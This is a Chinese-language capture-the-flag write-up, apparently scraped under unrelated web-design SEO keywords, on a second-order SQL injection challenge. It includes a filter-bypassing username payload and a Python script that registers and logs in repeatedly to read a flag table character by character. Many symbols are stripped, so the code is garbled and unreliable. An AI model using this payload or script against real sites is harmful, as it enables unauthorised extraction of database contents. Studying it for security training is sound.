驾校网站建设关键词九江网页设计公司

驾校网站建设关键词,九江网页设计公司,辽宁网站建站系统平台,网站的几种提交方式题目#xff1a;web-unfinish#xff08;sql二次注入#xff09;二次注入打开页面是一个登录页面步骤 扫描一下目录#xff1a;有登录有注册先测试登录是否存在sql#xff0c;测试了一下发现似乎不存在。继续测试注册#xff0c;先正常注册一个用户#xff0c;登录看看。…题目web-unfinishsql二次注入二次注入打开页面是一个登录页面步骤扫描一下目录有登录有注册先测试登录是否存在sql测试了一下发现似乎不存在。继续测试注册先正常注册一个用户登录看看。登录成功能看到用户名。试试再注册的时候给用户名位置写上注入测试0’10登录后发现用户名变为1.使用Burp Suite Fuzz 了一下当用户名中有 information 或 , 时会提示 nonono!!!只能猜表名为flag.通过payload依次读取flag值0ascii(substr(select * from flag) from 1 for 1)0写个脚本自动读出flag。流程为注册-》登录-》获取用户名值asciiimportrequestsimportreimporttime urlhttp://61.147.171.105:54224/MAX_RETRIES_PER_POS5# 重试 defget_flag():flagi1# 从位置1开始whilei50:emailfuser{i}qq.comusername_payloadf0ascii(SUBSTR((select * from flag) FROM {i} FOR 1))0password123retry_count0successFalsewhileretry_countMAX_RETRIES_PER_POS:ifretry_count0:print(f[!] 尝试位置 {i} (尝试 {retry_count 1})...)time.sleep(2)# 稍等再试try:print(f[] 尝试位置 {i}: {username_payload})# 注册 r_regrequests.post(urlregister.php,data{email:email,username:username_payload,password:password},allow_redirectsFalse,timeout10)ifr_reg.status_code!302:# 可能是 SQL 错误或 flag 已结束非网络问题print(f[-] 注册失败 {r_reg.status_code} 再位置 {i}. 结束.)successTrue # 视为“正常结束”跳出break# 登录 r_loginrequests.post(urllogin.php,data{email:email,password:password},timeout10)# 提取 ASCII matchre.search(rspan classuser-name\s*(\d)\s*/span,r_login.text)ifmatch:ascii_valint(match.group(1))ifascii_val0:print([*] 结尾 (ASCII 0).)successTruebreakcharchr(ascii_val)flagcharprint(f[] 位置 {i}: ASCII{ascii_val} {char} | Flag : {flag})successTruebreakelse:print(f[-] 找不到flag {i} :\n{r_login.text[:200]})successTrue # 无法提取视为结束breakexcept(requests.exceptions.Timeout,requests.exceptions.ConnectionError)ase:retry_count1print(f[-] 网络问题 position {i} (attempt {retry_count}): {e})ifretry_countMAX_RETRIES_PER_POS:print(f[!] 超过最大重试 position {i}. 退出.)print(\n[!] flag (部分):,flag)returncontinue# 重试当前 i except Exceptionase:print(f[-] 异常 position {i}: {e})successTrue # 非网络异常不重试breakifnot success:print(f[!] 错误 position {i} .)breakifsuccess and(r_reg.status_code!302or(locals().get(match)andint(locals().get(match).group(1))0)or notlocals().get(match)):breaki1# 成功获取一位继续下一位 time.sleep(3)print(\n[!] flag:,flag)if__name____main__:get_flag()有疑问可留言解答…